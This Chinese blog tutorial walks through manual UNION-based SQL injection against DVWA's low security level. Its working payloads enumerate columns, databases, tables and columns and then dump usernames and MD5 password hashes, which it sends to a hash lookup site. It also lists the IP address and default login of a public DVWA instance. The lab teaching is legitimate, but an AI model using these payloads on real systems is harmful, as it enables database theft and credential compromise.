大白话之从零讲解 DVWA(壹)-SQL 注入 (SQL Injection) Low Level

本贴最后更新于 1929 天前,其中的信息可能已经物是人非

前言

在阅读此文章前,你需要先理解以下知识:

  • PHP 基本知识(数据库连接、基本语法)
  • SQL 注入的基本原理
  • MySQL:order by 排序
  • MySQL:union 的作用和用法
  • MySQL:group_concat 的作用和用法
  • MySQL:通过 information_schema 读取数据库信息
  • MySQL:使用 --# 注释语句
  • MD5 的基本实现原理

SQLMap 是一款自动 SQL 注入的工具,但有时它并不足够灵活。手工注入能帮助我们深入了解 Web 渗透的灵魂,本章我们使用 DVWA 进行手工 SQL 注入的模拟测试。

SQL 注入

搭建 DVWA

此步骤我们不多说,如果你不想在本地搭建虚拟机和 DVWA,可以到下面这个公共站点:

http://43.247.91.228:81

用户名:admin
密码:password

设置级别

点击左侧 DVWA Security,在右侧你可以看到三个选项:

Low 低级
Medium 中级
High 高级

image.png

调整等级,就可以调整难度。

低级

选择 SQL Injection,我们可以看到一个输入框:

image.png

是的,你在输入框中输入 用户ID,就能返回用户的信息。

测试列

在输入框中输入:

1' order by 3 #

# 用于将后面的语句全部注释,将语句末尾控制在我们的手里,防止出现意外语法错误。

你会获得返回结果:

Unknown column '3' in 'order clause'

这是因为我们使用 order 方法将 第三列 排序,然而并没有第三列

更换语句:

1' order by 2 # 

此时你会发现结果被成功返回了:

ID: 1' order by 2 # 
First name: admin
Surname: admin

这说明该数据表有 2列,所以如果我们要使用 union 进行联合查询的时候,也要查询 2列。输入语句:

1' union select 1,2 # 

你会得到返回结果:

ID: 1' union select 1,2 #   
First name: admin  
Surname: admin

ID: 1' union select 1,2 #   
First name: 1  
Surname: 2

这说明第一列会被显示为 First name,第二列会被显示为 Surname

组建语句

目前已知可渗透条件

  1. 语句执行方法:1' [SQL语句] #
  2. 如要使用 union 联合查询,必须返回两列,否则将报错。

好的,那么我们需要先组建一条语句用于获取数据库信息。

获取全部数据库

select group_concat(schema_name) from information_schema.schemata 

你可以搭建一个本地 MySQL,并对本语句进行测试。

将注入语句与其拼接:

1' union select group_concat(schema_name) from information_schema.schemata # 

填写到输入框中,我们会得到返回结果:

The used SELECT statements have a different number of columns

原因是由于我们使用 union 查询列数不同导致的。修改语句:

1' union select 1,group_concat(schema_name) from information_schema.schemata # 

这里添加的 1, 是直接选择的结果,将 1 定义为第一列的结果。得到如下返回结果:

ID: 1' union select 1,group_concat(schema_name) from information_schema.schemata #   
First name: admin  
Surname: admin

ID: 1' union select 1,group_concat(schema_name) from information_schema.schemata #   
First name: 1  
Surname: information_schema,dvwa,mysql,performance_schema

此时 DVWA 返回了 MySQL 中的全部数据库。

尝试删除 group_concat() 保留其括号中的列名,比对运行结果的不同。

获取当前所在数据库

如要查询 DVWA 正在使用哪个数据库,你可以组建语句:

1' union select 1,database() # 

得到返回结果:

ID: 1' union select 1,database() #   
First name: admin  
Surname: admin

ID: 1' union select 1,database() #   
First name: 1  
Surname: dvwa

此处的 database() 方法可以获取当前使用的数据库。

显示数据库中所有表

刚刚我们查询得知了 DVWA 正在使用的数据库名为 dvwa。现在我们组建语句查询该数据库中所有表:

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # 

返回结果:

ID: 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #   
First name: admin  
Surname: admin

ID: 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #   
First name: 1  
Surname: guestbook,users

我们可以看到,当前数据库(dvwa)中有两个表:guestbookusers

获取表中列名

整理一下,现在我们的目标是:

  1. 数据库名:dvwa
  2. 表名:users
  3. 求:users 表中的列名

组建语句:

1' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" # 

返回结果:

ID: 1' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" #   
First name: admin  
Surname: admin

ID: 1' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" #   
First name: 1  
Surname: user_id,first_name,last_name,user,password,avatar

现在我们得知,users 表中的列为:user_idfirst_namelast_nameuserpasswordavatar

获取列中数据

最后一步,我们现在已知情况为:

  1. 数据库名:dvwa
  2. 表名:users
  3. 重要的列名:user、password

组建语句:

1' union select user,password from dvwa.users # 

返回结果:

ID: 1' union select user,password from dvwa.users #   
First name: admin  
Surname: admin

ID: 1' union select user,password from dvwa.users #   
First name: admin  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1' union select user,password from dvwa.users #   
First name: gordonb  
Surname: e99a18c428cb38d5f260853678922e03

ID: 1' union select user,password from dvwa.users #   
First name: 1337  
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1' union select user,password from dvwa.users #   
First name: pablo  
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1' union select user,password from dvwa.users #   
First name: smithy  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

可以看到我们成功返回了用户名和密码。但这个密码是加密的,你可能觉得比较眼熟,这么长大概率是用了 md5加密

访问 md5 解密网站

这里推荐 PMD5,在网站中输入 MD5 加密后的密码,我们就能得到真实密码:

image.png

后语

至此,我们完成了低等级的手工 SQL 注入。在第二章,我们将继续进行其它等级的注入测试。

点我跳转至第二章

相关帖子

欢迎来到这里!

我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。

注册 关于
请输入回帖内容 ...